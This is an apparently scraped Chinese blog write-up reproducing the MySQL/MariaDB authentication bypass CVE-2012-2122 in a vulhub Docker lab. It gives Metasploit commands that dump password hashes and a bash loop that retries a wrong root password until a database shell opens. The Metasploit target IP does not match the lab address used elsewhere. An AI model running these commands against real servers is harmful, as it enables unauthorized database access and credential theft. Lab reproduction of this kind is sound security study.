Mysql 身份认证绕过漏洞（CVE

您所在的位置：网站首页 › tiki登录 › Mysql 身份认证绕过漏洞（CVE

Mysql 身份认证绕过漏洞（CVE

2023-10-10 18:48| 来源: 网络整理| 查看: 265

漏洞详情漏洞说明# 当连接MariaDB/MySQL时，输入的密码会与期望的正确密码比较，由于不正确的处理，会导致即便是memcmp()返回一个非零值，也会使MySQL认为两个密码是相同的。也就是说只要知道用户名，不断尝试就能够直接登入SQL数据库漏洞编号# CVE-2012-2122 影响范围#所有的Mariadb和mysql版本:5.1.61、5.0.11、5.3.5、5.5.22

实验环境攻击机：kali 2020.2 靶机：CentOS Linux 7 项目地址： https://github.com/vulhub/vulhub

基础环境搭建查看我以前的博客自行搭建

实验环境搭建项目地址

https://github.com/vulhub/vulhub

vulhub-master/mysql/CVE-2012-2122

启动docker编译

docker-compose up -d

至此实验环境搭建成功，查看对应的端口在这里插入图片描述复现步骤我们用nmap扫描一下mysql的版本为5.5.23 这里我们采用msfconsole中的模块进行漏洞验证

service postgresql start 启动msf数据库 msfconsole 进入msf use auxiliary/scanner/mysql/mysql_authbypass_hashdump 选择该模块 set rhosts 14.104.1.1 设置目标 set threads 10 设置线程 run

在这里插入图片描述然后解hash就行，解出来登陆发现密码是“133456”

mysql -u root -P 3306 -h 192.168.247.129 -p

在这里插入图片描述漏洞复现方法二采用shell脚本：（直接返回mysql的shell）

for i in `seq 1 1000`; do mysql -u root --password=bad -h 192.168.247.129 2>/dev/null; done

在这里插入图片描述复现成功！

【本文地址】

Mysql 身份认证绕过漏洞（CVE

Mysql 身份认证绕过漏洞（CVE

今日新闻

推荐新闻